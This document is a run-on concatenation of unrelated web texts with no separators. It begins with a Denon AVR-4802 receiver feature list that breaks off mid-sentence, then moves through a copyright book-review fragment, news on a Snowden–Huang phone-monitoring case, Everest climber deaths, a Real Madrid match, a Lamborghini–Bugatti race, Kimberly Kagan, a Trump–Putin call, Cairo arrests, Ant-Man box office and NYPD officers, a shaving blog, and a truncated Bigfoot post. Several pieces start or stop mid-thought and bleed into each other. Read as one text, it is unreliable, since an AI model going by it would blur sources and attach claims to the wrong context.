THX Surround EX 7.1 Decoding: THX Surround EX soundtracks have an additional surround channel signal matrix encoded into the standard surround channel signals of a Dolby Digital soundtrack. When a THX Surround EX soundtrack is decoded and played through a 7.1 channel system, you will hear more detailed imaging behind you; this feature brings more depth, spacious ambience and sound localization to the home theater experience than ever before. Although THX Surround EX decoding produces the best results with soundtracks that have been recorded with THX Surround EX processing, the THX Surround EX 7.1 Decoding feature can be used, with varying results, with all 5.1 channel Dolby Digital, DTS or MPEG soundtracks. THX Surround EX 7.1 playback requires a total of 4 surround speakers; one pair of surround speakers should be placed to the sides of the listening position, and the other pair of surround speakers are supposed to be placed behind the listening position. The receiver is equipped with amplification for all 4 surround speakers.
Dolby Pro Logic II: Enjoy 2-channel stereo recordings in stunning 5.1-channel surround playback. The Dolby Pro Logic II decoder reproduces dynamic 5.1-channel surround sound not only from normal 5.1-channel DVD but from 2-channel sources as well. Dolby Pro Logic II uses matrix decoding technology that has been dramatically improved over Pro Logic. With Pro Logic II, for instance, the Surround (Rear) channels are in stereo (only mono with Pro Logic) and playback covers the full frequency range (only up to 7 kHz with Pro Logic). These improvements let you enjoy a wide variety of 2-channel sources with the exciting effects of 5.1-channel surround sound. In Dolby Pro Logic II, there is a Movie mode that creates a sound space suitable for movies, a Music mode that does the same for music, and a Pro Logic emulation feature that reproduces sound effects in the way that conventional Pro Logic does. In addition, you can also add the soundfield effects of THX Post Processing to Dolby Pro Logic II in Movie mode to brilliantly enhance the excitement of 2-channel A/V sources.
DTS 96/24 5.1 Decoding for DVD-Video: High-quality 96-kHz, 24-bit (96/24) sound playback from ordinary DVD-Video recordings is limited to only two channels and there are also limitations on the picture. DVD-Video recorded in DTS 96/24, however, allows high-quality 5.1-channel sound playback in full-quality, full-motion video. DTS 96/24 sources can be played in the multi-channel mode on the AVR-4802 with high sound quality of 96kHz/24-bits or 88.2kHz/24-bits.
DTS-ES Extended Surround: DTS-ES includes the Surround Back (SB; also known as Surround Rear) channel in addition to the existing 5.1 surround channels of front left, front right, center, surround left, surround right, and LFE, enabling surround playback from a total of 6.1 channels. Due to differences in surround signal recording methods, DTS-ES offers two types of signal formats:
DTS-ES Discrete 6.1: Discrete 6.1 utilizes the digital discrete method to record all 6.1 channels, including the newly-added surround back channel, as independent channels. Since the surround left, surround right, and surround back channels are fully independent, sound can be freely designed and sound images can move freely and rapidly amongst each other within a background sound that envelopes the room from all sides.
DTS-ES Matrix 6.1: In the Matrix 6.1 format, the surround back channel is matrix encoded in advance to the surround left and surround right channels, and when a matrix decoder plays them back, they are decoded into separate surround left, surround right, and surround back channels.
DTS-ES Discrete 6.1 + THX Post Processing: By adding THX Post Processing to the localized sound and spatial expression of DTS-ES Discrete 6.1, your listening room is almost completely transformed into a full-featured cinema.
DTS Neo:6 Surround: Featuring the newest DTS matrix processing technology, the DTS Neo:6 function provides up to 6.1-channel surround sound from conventional stereo sources, and can be used with virtually any 2-channel stereo source, analog or digital. Two modes are provided: Neo:6 Cinema is optimized for surround encoded stereo movie soundtracks, while Neo:6 Music mode is optimized for superior surround sound with stereo music sources.
High-Quality Pure Audio Chassis Construction: Unwanted vibration is minimized by placing the power transformer near the center of the unit, the digital circuitry beneath the center, and the power amp circuits on the left and right sides. By also separating the analog circuit and video circuit sections, mutual interference among all the circuits is eliminated. This chassis design is well suited to the faithful reproduction of all types of sources, from the delicate purity of 2-channel stereo music recordings to the high-quality multi-channel soundtracks of DVD-Audio and the dynamic realism of sound and picture signals from DVD-Video programs.
Wide Range Circuit Topology: Front end and power amplifier circuitry is designed with flat frequency response that extends to 100 kHz, perfectly suited for next-generation wide range audio media such as SACD and DVD-Audio.
24-bit, 96 kHz A/D Converters: The AVR-4802 uses highly accurate 24-bit, 96 kHz A/D converters to handle analog to digital conversion. Since the converted digital signals are at extremely high resolution, the resulting sound quality is far more faithful to the original source than with conventional designs.
ALPHA 24 Processing: The AVR-4802 includes Denon's renowned 24-bit ALPHA processing technology that reproduces digital signals in a waveform with the smoothness of analog signals. This technology thoroughly suppresses annoying quantization distortion and faithfully reproduces the delicate musical details of low-level signals. ALPHA 24 processing works in 2-channel Stereo, Direct, Pure Direct modes.
DDSC-Digital (Dynamic Discrete Surround Circuit): DDSC-Digital is a circuit configuration specially designed by Denon in which all the elements of the surround processor are optimized by the use of selected high performance discrete elements, including separate A/D and D/A conversion, with sophisticated dual DSP surround decoding.
Dual 32-bit SHARC Processors: Featuring the latest Analog Devices 32-bit floating point SHARC DSP devices, the AVR-4802 provides superb resolution and widest dynamic range of Dolby Digital, DTS and PCM audio signals.
On-Screen Display (OSD): An OSD can be displayed on your television for easy system setup. The OSD is sent through the Monitor 1 S-video and composite video monitor outputs; the OSD is not sent through the component video output, the Monitor 2 S-video output or the Monitor 2 composite video monitor output.
7.1 Multi-Channel Input: The AVR-4802 is equipped with a 7.1-channel input to accommodate present and future multi-channel formats, such as DVD-Audio.
RS-232C Port: The AVR-4802 includes an RS-232C port for a software/firmware upgrade pathway.
Multi-Zone Output: With the AVR-4802's Multi Zone Output and Select functions, you can output different program sources to multiple zones. Sources can be selected for output to 1 additional zone besides the main room (or home theater). This zone, Multiroom Zone 1, can have variable pre-amp output along with 1 set audio (L/R) feed. In addition, the remote controller can be used to select the source and adjust the volume. With the AVR-4802's Power Amplifier Assign function, you can assign the 2 Surround Back amplifier channels to instead drive 2 speakers in Multiroom Zone 1 with 125 watts per channel, while still providing full 5-channel output to the main room.
Dual Surround Speaker Mode: The AVR-4802 provides the ability to connect two different sets of surround speakers, and place them in the appropriate locations in your home theater room, so that you can enjoy both movie soundtracks and music listening, with optimum results and no compromise.
Surround Modes: In addition to straight Dolby Digital, Dolby Pro Logic/Dolby Pro Logic II, and DTS/ DTS (96/24) playback, you can choose from the following modes:
Home THX Cinema: this mode applies processing (Re-Equalization, Adaptive Decorrelation, Timbre Matching, etc.) to recreate the exact sound the movie director intended you to hear
THX Surround EX: THX Surround EX soundtracks have an additional surround channel signal matrix encoded into the standard surround channel signals of a Dolby Digital soundtrack. By adding a surround back channel, this mode gives you more detailed imaging behind you, allowing for 360-degree surround sound effects.
DTS ES Discrete 6.1 and DTS ES Matrix 6.1: DTS ES Matrix 6.1 performs matrix decoding to create a rear center speaker. DTS ES Discrete 6.1 features digital discrete recording of all channels including the surround back channel.
THX Discrete 6.1, Matrix 6.1: when playing movies, setting this mode sometimes results in a more natural sound by adding THX Post Processing to the localized sound and spatial expression of DTS-ES Discrete 6.1
DTS NEO:6: allows you to choose Neo:6 Cinema mode, which is optimized for surround encoded stereo movie soundtracks, or Neo:6 Music mode, which is optimized for superior surround sound with stereo music sources
Wide Screen: select this to achieve an atmosphere like that of a movie theater with a large screen. In this mode, all signal sources are played in the 7.1-channel mode, including Dolby Pro Logic and Dolby Digital 5.1-channel sources. Effects simulating the multi-surround speakers of movie theaters are added to the surround channels.
Super Stadium: select this when watching baseball or soccer programs to achieve a sound as if you were actually at the stadium. This mode provides the longest reverberation signals.
Rock Arena: use this mode to achieve the feeling of a live concert in an arena with reflected sounds coming from all directions
Jazz Club: this mode creates the sound field of a live house with a low ceiling and hard walls. This mode gives jazz a very vivid realism.
Classic Concert: select this for the sound of a concert hall rich in reverberations
Mono Movie: select this when watching monaural movies for a greater sense of expansion
Matrix: select this to emphasize the sense of expansion for music sources recorded in stereo
5Ch/7Ch Stereo: the front left channel signals are output to the surround and surround back signal left channels, the front right channel signals are output to the surround and surround back signal right channels, and the in-phase component of the left and right channels is output to the center channel. Use this mode to enjoy stereo sound.
Personal Memory Plus: The Personal Memory Plus function automatically memorizes the surround modes and input modes selected for the different input sources. When an input source is selected, the modes stored in memory for that source are automatically recalled. The surround parameters, tone control settings and playback level balance for the different output channels are memorized for each surround mode.
Pure Direct Mode: In addition to surround sound playback, the AVR-4802 lets you enjoy pure 2-channel stereo sound as well through its Pure Direct mode. In Pure Direct Mode, while listening to digital sources, power to the video circuitry and the front panel display is turned off, and with analog source inputs, power to the digital circuitry is also automatically turned off.
Bass Management and Speaker Setup: Various speaker size settings are available to ensure that small speakers do not receive full-range signals and to tell the receiver where to send signals.
Front Speakers: the front speaker size may be set to "Large" or "Small"
Center Speaker: if you have selected "Large" as the front speaker size, the center speaker may be set to "Large", "Small" or "None". If you have selected "Small" as the front speaker size, the center speaker may be set to "Small" or "None".
Subwoofer: you may select "Yes" or "No"
Surround Speakers A: If you have selected "Large" as the front speaker size, the surround speakers A may be set to "Large", "Small" or "None". If you have selected "Small" as the front speaker size, the surround speakers A may be set to "Small" or "None". Note: If you have selected "None" as the surround speakers A size, the surround speakers B and surround back speakers are automatically set to "None".
Surround Speakers B: if you have selected "Large" as the front speaker size, the surround speakers B may be set to "Large", "Small" or "None". If you have selected "Small" as the front speaker size, the surround speakers B may be set to "Small" or "None".
Surround Back Speakers: if you have selected "Large" as the front speaker size and either the surround speakers A or surround speakers B are set to "Large", the surround back speakers may be set to "Large", "Small" or "None". If you have selected "Small" as the front speaker size, the surround back speakers may be set to "Small" or "None". If the surround back speaker size is set to "Small", you may set the number of surround back speakers to 1 or 2.
Delay Time: the delay time for each channel can be adjusted from 0 to 60 feet in 1 foot increments
Test Tone: the test tone feature allows you to independently |
is devoted to the promotion of creativity for its own sake.
Ultimately, it’s too simplistic to see the copyright wars as a battle between idealistic tech companies that want information to be free, and the greedy old media that wants to preserve a dying business model. Instead, as Robert Levine argues in his new book Free Ride: How Digital Parasites Are Destroying the Culture Business, and How the Culture Business Can Fight Back, the real battle is between two competing business models. On the one hand, there are the publishers, record companies, and movie companies that fund the content people want to watch and read. On the other, there are the tech companies, like Google and Facebook, that want to distribute content created with other people’s money and sell more ads as a result. By destroying the business model that makes it possible for AMC to invest in excellent shows like “Mad Men,” Levine argues, the tech companies will create a digital wasteland dominated by self-produced cat videos.
There’s much to be said for Levine’s analysis of the competing financial interests on both sides of the debate: The current system looks much better for the tech companies that distribute other people’s content than for the old media companies that fund it. And to the degree that it’s harder for artists and journalists to get paid for their work, the public may not benefit in the long run. What’s still unclear—and is important to figure out—is how great a role Internet piracy is playing in destroying the business model that used to allow old media companies to invest in authors, musicians, and movie producers, and support them over the course of a career.Edward Snowden’s asylum in Russia will expire in 2020 and his lawyers are speaking with EU officials to see if it would be possible for an EU country to grant asylum for the whistleblower and protect him from U.S. prosecution.
A journalist’s iPhone may be the most valuable tool in their arsenal of gadgets; it also may be their most hazardous. According to National Security Agency whistleblower Edward Snowden, your smartphone may be giving you away by sending transmissions about your whereabouts. These satellite and cellular communications can be intercepted easily by government authorities, which use them to locate and apprehend journalists against their will. To detect these revealing transmissions, Snowden and well-known Xbox hacker Andrew “Bunnie” Huang are developing a radio transmission monitoring tool that fits into a standard phone battery case.
Snowden and Huang presented details on their tool during the recent Forbidden Research talk (video) at MIT’s Media Lab and published a technical paper that describes the scope of the problem and their proposed solution. The core of their tool is an open-source and user-inspectable introspection engine that monitors radio transmissions and alerts the owner when their phone is transmitting its location even though it is supposed to be in airplane mode. Users can check their phone in the field and confirm in real-time that it’s secure. All this monitoring hardware will be embedded in a battery case that looks innocuous from the outside.
Related: NSA whistleblower Snowden, CNN’s Zakaria face off over encryption
The proposed hardware resides outside the scope of the phone’s CPU and other internal hardware, allowing it to operate autonomously without being compromised by the monitoring and tracking systems embedded into the phone. It is covert enough to perform its monitoring without being detected by the operating system of the phone and has safeguards to prevent false negative or positive alerts. Snowden and Huang want their proposed security system to be accessible to a variety of users and have designed it with an intuitive interface that requires only minimal input from the user.
To streamline development of the hardware, Snowden and Huang chose the iPhone 6 as the first phone for field development of their tool. This model was chosen, not because it was more susceptible to attack, but because it is one of the most popular smartphones among journalists.
“The choice of model is driven primarily by what we understand to be the current preferences and tastes of reporters,” the pair noted in their report. “It has little to do with the relative security of any platform, as we assume any platform, be it iOS or Android, can and will be compromised by state-level adversaries.” Snowden and Huang obtained detailed iPhone schematics and components from China’s electronics markets and used this information to reverse-engineer the phone’s hardware and aid in the design of their introspection engine.
Though they chose to focus on the iPhone and its radio hardware, Snowden and Huang expect this technology to expand to other core hardware systems and even other smartphones in the future. They note that systems such as the filesystem can be monitored using an introspection engine attached to a mass storage device. The pair also point out in their paper that minimal phone hardware design changes, such as grouping radio control test points together, could make it easier to develop the introspection engine for future smartphone models.Dozens need treatment for frostbite and altitude sickness on mountain after deaths of Australian woman and Dutch man
Severe frostbite and altitude sickness have left more than 30 climbers on Mount Everest needing medical help, after two climbers died on the world’s highest mountain over the weekend.
An Australian woman and a Dutch man both died of apparent altitude sickness, the first people killed on the mountain in 2016.
The mountaineering department official Gyanendra Shrestha said frostbite had affected dozens of climbers attempting to make the ascent. Pemba Sherpa, of the Seven Summit Treks agency in Kathmandu, also said one Indian climber had been unable to move due to advanced frostbite and had been carried to a lower camp, where attempts were being made to rescue her by helicopter.
A Norwegian climber has been rescued by sherpas after suffering snow blindness, a painful loss of vision after overexposure to UV rays.
The deaths of the two climbers, the motivational speaker Eric Arnold, 36, and finance lecturer Dr Maria Strydom, 34 – whose husband was also injured on the climb down, came as the tourism industry on Everest began to show signs of recovery after two years of devastating natural disasters.
Eighteen people were killed last year when a 7.8-magnitude earthquake struck Nepal and triggered an avalanche that left the Everest Base Camp in ruins. The toll from the quake surpassed 2014, which had previously been the deadliest year on record after icefall killed 16 Nepalese guides and cut the climbing season short.
This year’s climbing season, which runs from March until the end of May, has so far seen good weather, allowing hundreds of climbers to reach the summit.
Arnold had tweeted earlier that he had made it to the summit, but he is said to have complained of feeling weak as he descended, despite having bottled oxygen, and he died on Friday night.
Eric Arnold (@EricArnold8850) Bergbeklimmer Eric Arnold bereikt top Mount Everest bij vijfde poging https://t.co/oeswLrfXyd pic.twitter.com/991NvMg6Op
Arnold had survived the avalanche at base camp last year, which left many people trapped for days.
Speaking to the Washington Post before his attempt, Arnold said climbing Everest was his “big childhood dream”. He said he had been traumatised by the avalanche but wanted to return. “I didn’t decide immediately to go back. I waited until my emotions were more stable.”
Strydom, who is also reported to have suffered altitude sickness, died less than 24 hours later. Her husband Rob Gropel is also said to have been injured on the trek, needing assistance back down the mountain.
The couple were attempting to reach seven summits, and had already reached the peaks of Denali in Alaska, Aconcagua in Argentina, Ararat in Turkey and Kilimanjaro in Tanzania.
Strydom’s sister Aletta Newman said she had heard the news from a Google alert with a story from the Himalayan Times.
“That is the absolute first I’d heard of it,” Newman told the Australian Associated Press. She said she did not yet know the exact cause of Strydom’s death. “We just don’t have answers and we would really like to have some.”
The bodies, which are at 8,000 metres (26,240 feet), had yet to be retrieved on Sunday. “We are waiting for the expedition leader and other climbers of the group to come down to base camp,” said Pasang Phurba of Seven Summit Treks.
“We will then discuss her body. It cannot be left to lie as it is there,” he told Reuters.
Among the 350 climbers who have reached the summit this year are 19-year-old Alyssa Azar, who became the youngest Australian to reach the peak, and Lhakpa Sherpa, who set a record for female climbers with her seventh ascent.As Real Madrid was not playing very well in Valladolid, José Mourinho used his substitutes to find the formula for his side to improve, with the result that he used four different defensive line-ups in the same match.
At the beginning, Mourinho finally included Nacho in the starting line-up and embedded him in his classic defence system: Arbeloa, Sergio Ramos, Pepe and Nacho-
After half-time. Despite Real Madrid having equalised, making the score 2-2 just before half-time, thanks to play by Özil and Benzema, Mourinho was still not content, and was looking for more bite up front. He took Nacho off and sent on Di María, surprisingly placing Callejón at left back, so the defence now read: Arbeloa, Ramos, Pepe and Callejón.
In the 61st minute, Arbeloa was replaced by Modric, and Mourinho rearranged his defence once more, with a never-before-seen line-up. Sergio Ramos returned to right back and Xabi Alonso went to the middle. At that point, the defensive line-up of Real Madrid was, from right to left, Sergio Ramos, Xabi Alonso, Pepe and Callejón.
In the 73rd minute, after Varane went on to replace Benzema, Mourinho went back to his more customary defence, sending Ramos to the middle of the defensive line-up and placing the Frenchman at right back, thus: Varane, Ramos, Pepe and Callejón.The Bugatti Veyron is a legend.
Not only does it hold two current Guinness World Records for fastest street-legal production car—fixed-roof and roadster, naturally—it stands as a testament to what engineers can achieve when fed unlimited amounts of cash and told not to return until they've built the super-est supercar.
Your kids will remember the Veyron's name.
Of course, that means that any hot-rodder swinging wrenches on supercars sees the Bugatti as a target. When you're a member of the thousand-plus horsepower club, the Veyron isn't just a legend.
It's a benchmark.
Which brings us to this video, shot by Richard Fowler. Richard's wild orange Lamborghini LP-570 Superleggera is a supercar in its own right: The most lightweight, sharpest version of Lamborghini's angular Gallardo, the LP-570 made 562 horsepower stock.
Richard's Lambo is not stock.
This Superleggera boasts an Underground Racing Stage 3 twin-turbo kit, sending an astounding 1,250 horses to the wheels. As you'll see, that's enough to thoroughly trounce a 1,001-horse Bugatti.
Yes, roll-racing is kind of cheesy, and no, I'm not buying the YouTube poster's claim that Richard "waits nearly two seconds to go after the Bugatti takes off from a roll"—from where I'm sitting, that just looks like turbo lag.
But all of that aside, you can't argue with the facts: At this particular 1/2-mile runway race, the Veyron got spanked. And as Dom Toretto taught us, winning's winning.
via JalopnikKimberly Ellen Kagan (born 1972) is an American military historian. She heads the Institute for the Study of War and has taught at West Point, Yale, Georgetown University, and American University. Kagan has published in The Wall Street Journal, The New York Times, The Weekly Standard and elsewhere.[1] She supported the surge in Iraq and has since advocated for an expanded and restructured American military campaign in Afghanistan.[2] In 2009, she served on Afghanistan commander Gen. Stanley McChrystal's strategic assessment team.[2]
Early life [ edit ]
Kimberly Kagan is the daughter of Kalman Kessler, a Jewish accountant and school teacher from New York City and his wife Frances.[3][4][5] She received her B.A. in Classical Civilization and her Ph.D. in History from Yale University. At Yale, Kagan met her husband Frederick Kagan, who is an American resident scholar at the American Enterprise Institute (AEI),[6] son of Donald Kagan, a well-known historian and brother of Robert Kagan, another well-known writer and publicist. Robert Kagan's wife is Victoria Nuland, a former Assistant Secretary of State for European and Eurasian Affairs in the American federal government.
Kagan held an “Olin Postdoctoral Fellowship in Military History” at Yale in International Security Studies from 2004-2005. She is an affiliate of Harvard’s Olin Institute for Strategic Studies, where she was a National Security Fellow from 2002-2003.[7]
Works [ edit ]
Dr. Kagan is the author of The Eye of Command (University of Michigan Press, 2006), The Surge: A Military History (Encounter Books, 2009), and editor of The Imperial Moment (Harvard University Press, 2010).[8] Dr. Kagan has published numerous essays including “Don’t Short-Circuit the Surge” in The Wall Street Journal, “How to Surge the Taliban” co-authored with Max Boot and Frederick W. Kagan in The New York Times, and “Why the Taliban are Winning--For Now” on the Foreign Policy Magazine website.[9][10][11]
Current position [ edit ]
Dr. Kagan has conducted eight battlefield circulations of Iraq since May 2007 for the MNF-I Commanding General, three of which were in Afghanistan for CENTCOM United States Central Command and ISAF International Security Assistance Force. She participated formally on the Joint Campaign Plan Assessment Team for Multi-National Force-Iraq - U.S. Mission- Iraq in October 2008, and as part of the Civilian Advisory Team for the CENTCOM strategic review in January 2009.[12] Dr. Kagan served in Kabul as a member of General Stanley McChrystal’s strategic assessment team, composed of civilian experts, during his strategic review in June and July 2009. She returned to Afghanistan in the summer of 2010 to assist General David Petraeus with key transition tasks following his assumption of command in Afghanistan. Dr. Kagan also serves on the Academic Advisory Board at the Afghanistan- Pakistan Center of Excellence at CENTCOM.
Dr. Kagan is the founder and President of the Institute for the Study of War. ISW describes itself as a “non-partisan non-profit think thank which seeks to provide research and analysis specifically regarding issues of defense and foreign affairs. ISW produces comprehensive reports on the realities of war; focusing on military operations, enemy threats, and political trends in diverse conflict zones”.[13]
As an influential member of the foreign policy brain trust in Washington, D.C.,[citation needed] Dr. Kagan has been involved numerous public events. On May 25, 2010 Dr Kagan participated in a briefing on Capitol Hill focusing on Iraq’s political crisis that included remarks from Iraq’s Ambassador Samir Sumaidaie and Dr. Kenneth Pollack, Senior Fellow at the Brookings Institution.[14] Dr Kagan also participated in a Brookings Institution event entitled “Prospects for Afghanistan's Future: Assessing the Outcome of the Afghan Presidential Election” alongside Dr. Michael O’Hanlon.[15] Dr. Kagan was also credited as the executive producer for the blockbuster film The Surge: the Untold Story with CIA Director Gen. David Petraeus, ISW Chairman, U.S Army General Jack Keane (ret.) and LTG James Dubik (ret.) describing the surge strategy in Iraq and how some high-ranking officers from the United States Army would like to present themselves as having pacified the country and thus won the war.[16]In his first call to Russian leader Vladimir Putin, Donald Trump interrupted the call to ask an aide to explain what the New START nuclear weapons treaty was.
Then he said that the treaty was a ‘bad deal’, according to two veteran Reuters reporter.
‘When Putin raised the possibility of extending the 2010 treaty, known as New START, Trump paused to ask his aides in an aside what the treaty was,’ Jonathan Landay and David Rohde of Reuters wrote.
‘Trump then told Putin the treaty was one of several bad deals negotiated by the Obama administration, saying that New START favored Russia. Trump also talked about his own popularity.’
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Donald J Trump has a history of alarming statements on nuclear weapons – hinting that he would be willing to unleash the hydrogen bomb on targets in Europe.
‘I’m not going to take it off the table,’ he said.
Trump has also suggested in interviews that he would be willing to use nuclear weapons against Islamic State.
The Reuters reported were told of the contents of the call by people who were briefed by administration officials, and who saw notes taken of the call.
The White House has not commented on the allegations.By
Allow me to introduce myself, my name is Blake Origer. I’m also known as ortrigger in various internet forums and communities. I suppose I could be described as the typical computer geek. My profession lies in the field of IT, I am regularly seen playing games on my computer, and I have a passion for technology. I’m also a wet shaving noobie. I’m sure you are wondering, why would someone so invested in modern technology choose such an antiquated method of shaving? If you will indulge me a few moments of your time, I shall explain. “Who uses a brush for shaving these days?”
I have never grown a lot of facial hair. Most of the time, I had just enough to merit shaving a few times a week. All through high school, I used an electric razor and didn’t transition to cartridge razors and canned foam until I was about 20. Until recently, I shaved with a 5-bladed cartridge at least once a week. Shaving was a dreaded task. I didn’t like shaving but I couldn’t grow a beard. This rendered it necessary to destroy my face…er…shave on a regular basis. I never encountered any major problems except a few terminally ingrown hairs. With that said, I always thought that there had to be a better way. And, as I would later find out, there is a better way.
One thing that corporate marketing has blinded us to is the fact that progress for the sake of progress is NOT true progress. This holds true with shaving as well. I, unfortunately, did not find this out until after I first started wet shaving. Being a relatively new wet shaver, I understand how confusing everything can be. Not to mention the experience of sticker-shock that can be experienced when first shopping for wet shaving supplies. When I was introduced to wet shaving, I had the privilege of experiencing this sticker shock. Permit me to elaborate.
I was in Salt Lake City, Utah to pick up a relative from the airport. My wife and I live in southern Idaho so we went down early to beat the rush hour traffic and had quite a bit of time to kill. We went to one of the malls in downtown Salt Lake. In this mall, there is a store called The Art of Shaving. I was intrigued and went in while my wife browsed in another store. They had all sorts of stuff in there that I had never seen except in old movies. Things like shaving brushes. My first thought was, “Who uses a brush for shaving these days?” Not to mention the different types of soaps and shaving creams that I never knew existed. I started talking to the sales associate who then proceeded to explain the concept of wet shaving. I had always hated shaving and this concept of bringing some luxury and enjoyment into my shave was a hook that I couldn’t help but bite. And then, I saw the price tags. I couldn’t believe that it would cost over 100 dollars for a razor and a starter kit! I didn’t know that similar products that were of equal or greater quality could be found on the internet for lower prices yet. Because of my lack of knowledge, I dropped the money and walked out with a brand new Merkur razor, some blades, and a starter kit anyway. It wasn’t until later that I learned that I could have gotten an equivalent setup for about 40% less money.
Why do I tell this story? Well, hopefully so others can learn from this noobie’s mistakes. Anyway, I made it home and couldn’t wait for my first shave. I whipped up the best lather I could, which isn’t saying much, and proceeded to shave. The thoughts that remain of that shave are of surprise and amazement. I realized that shaving could be relaxing and enjoyable.
In summary, or tl;dr* for those who frequent internet forums, I grew up hating the grind of shaving with modern technology. I started wet shaving and discovered my ‘noobie revelation #1.’ And that is the fact that shaving can be enjoyable.
I welcome questions and comments on this article. Please feel free to ask your questions or leave suggestions for another article topic that you would like to hear about from a noobie’s perspective. email me: noobies@howtogrowamoustache.com
*too long; didn’t read. Used to indicate that one did not read a (long) text, or to mark a short summary of an overly long text
Blake Origer is an avid fan of all things technology. He enjoys playing video games, fixing computers, and spending time with his family. His shaving setup of choice is a Merkur 34c, Proraso red shaving cream, and his own blend of preshave oil.
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Dozens of men who were recently arrested in a raid on a bathhouse in Cairo, Egypt went to trial this week accused of “debauchery”.
The men arrested were accused of “perversions” as news reporters told police that the bathhouses were used for “group perversions”. One reporter posted pictures of the dozens of men, mainly naked, being rounded up during the raid and put into vans.
The bathhouse owner was accused by prosecutors of facilitating the “practice, facilitate and incite debauchery.”
The men will face trial on 21 December.
Mona Iraqi, a reporter with El Mostakbai, from the Al-Qahira wal Nas channel, wrote on her Facebook page: “With pictures, we reveal the biggest den of perversions in the heart of Cairo.”
Iraqi also posted that she and her team had told police on 3 December “about what is happening in the baths”, but that the broadcast of their programme was delayed in order “to give security institutions a chance to close down the baths”.
She notes that police arrived at the venue and found a group of men “caught in the act during a group sex party.”
According to Iraqi’s account, the men were “immediately transported to the prosecution with no clothes,” and of Wednesday’s broadcast she wrote that the station will air “the whole story of the dens for spreading AIDS in Egypt.”
Eight men who were jailed in Egypt over a video which purportedly showed a mock same-sex wedding recently heard that their appeal verdict will come at the end of this month.
The men were arrested in September, after a video leaked online appearing to show an unofficial same-sex wedding ceremony on a riverboat in the Nile.Marvel’s “Ant-Man” landed with a solid $58 million at the weekend box office, while “Trainwreck’s” Amy Schumer put her own raunchy spin on romantic comedies to the tune of a $30.2 million debut.
It marks Marvel’s 12th consecutive first place opening, although “Ant-Man” isn’t at the level of other, bigger-name costumed heroes like Captain America, Thor and Iron Man, all of whom performed better out of the gate with their solo adventures. Going into the weekend, analysts expected “Ant-Man” to top $60 million, but its opening is similar to “The Incredible Hulk,” which earned an initial $55 million on its way to a $134 million U.S. haul.
“They are a victim of their own success,” said Paul Dergarabedian, senior media analyst at Rentrak. “Any time you have a brand like Marvel, the expectations get blown out of proportion.”
That may be, but the studio sounds disappointed it couldn’t elevate “Ant-Man” to “Guardians of the Galaxy”-like numbers. Disney distribution chief Dave Hollis admitted that he wished the movie had done better, but still praised Marvel as a model of consistency.
“No one else could take what is really an obscure character and launch it in such a big way,” said Hollis. “It’s a sign that they’re doing so much right and that it’s a brand that has overwhelming momentum.”
Related Paul Rudd on ‘Ant-Man’ Training: ‘I Took the Chris Pratt Approach’ Q&A: Judd Apatow on ‘Trainwreck,’ Finding Amy Schumer and the Dangers of a Selfie Film Review: ‘Ant-Man’ ‘Minions,’ ‘Jurassic World’ Lift Universal’s International Box Office Past Record $3 Billion Marvel’s ‘Ant-Man’ Premiere: Director Peyton Reed Ready for a Sequel
Not every studio was on the defensive. Universal’s “Trainwreck” bested initial projections which had it debuting to roughly $20 million. The story of a commitment-phobic woman who falls for a sports doctor got a boost from strong reviews and a long and winding promotional tour that saw Schumer doing everything from posing provocatively with C3PO to sexting Katie Couric’s husband.
“Amy Schumer is absolutely a star,” said Nick Carpou, Universal’s domestic distribution chief. “Based on exit polling, after the humor, she’s the second-biggest reason people went out to see the film.”
“Trainwreck” kicks off Schumer’s film career on a high note and marks the second-biggest opening for director Judd Apatow, behind only “Knocked Up’s” $30.7 million debut. Females represented 66% of ticket buyers. Universal produced the comedy for a modest $35 million, so it should make a healthy return on its investment.
That’s a fraction of the $130 million that Marvel spent on the story of a thief (Paul Rudd) who becomes a hero after donning a suit that gives him the powers of an arthropod. The superhero film will lean heavily on foreign crowds as it looks for profits. Internationally, “Ant-Man” opened in 37 markets, including Mexico, the U.K., France and Russia, pulling in $56 million.
“Ant-Man,” which employs a more tongue-in-cheek, lighter tone than most superhero movies, hoped to pull in younger crowds. To that end, the domestic audience for “Ant-Man” was 28% comprised of families. Fifty eight percent of ticket buyers were male, 59% were adult and 13% were teens.
In its second weekend, Universal and Illumination Entertainment’s “Minions” captured runner-up status, pulling in $50.2 million. The “Despicable Me” spinoff has racked up $216.7 million Stateside since it debuted, while selling boatloads of merchandise.
In milestone news, “Jurassic World” became just the fourth film in history to top $600 million domestically. The dinosaur thriller added $11.4 million to take fifth place on the box office chart and propel its North American total to $611.1 million.
Meanwhile, “Inside Out” pushed past $300 million domestically, joining “Toy Story 3” and “Finding Nemo” as the third Pixar film to reach that mark. Domestically, “Inside Out” racked up $11.6 million for a fourth place finish, bringing its North American gross to $306.4 million.
Among arthouse releases, Woody Allen’s “Irrational Man” pulled in $188,115 on five screens during its first weekend, for a per screen average of $37,623. Also opening, “Mr. Holmes” with Ian McKellen as an aging version of the supersleuth, grossed an estimated $2.5 million on 363 screens, for a per screen average of $6,856.
Overall box office numbers are still being tallied, but it looks like ticket sales will be up more than 30% over the same period last year. It marks the sixth consecutive weekend of gains, a sign that business is booming at the multiplexes. That cuts both ways, as Disney and Marvel discovered.
“It’s great for the business, but what it means is that it’s more competitive,” said Hollis.Associated Press New York City Police Officers Kenneth Moreno, middle, and Franklin Mata, right, speak to the media outside Manhattan Supreme Court on Thursday.
By Alison Fox and Sean Gardiner
Two New York City police officers were acquitted of rape and other felony charges but convicted of official misconduct, a misdemeanor, following a two-month trial in which they were accused of taking advantage of an intoxicated woman they had helped into her apartment from a taxi.
After more than six days of deliberations, a jury found New York City Police Officers Kenneth Moreno, 43 years old, and Franklin Mata, 28, not guilty of rape, burglary and falsifying records. Mata was also acquitted of tampering with evidence.
The jury did convict the officers on three counts each of official misconduct for entering the woman’s apartment while on duty when they had no official reason to do so. Official misconduct is a Class A misdemeanor punishable by no more than a year in jail. The judge has the discretion not to impose any jail time or make them serve concurrent terms, making it a maximum of three years, when they’re sentenced on June 28.
Police Commissioner Raymond Kelly said the guilty verdicts “involved violations of the officers’ oaths of office and as a result warrant immediate termination from the police department, and we will pursue that today.”Posted by: Loren Coleman on March 4th, 2009
How do you protect something that has not even been confirmed or verified as being a species?
History records one major local law against killing Bigfoot.
This one:
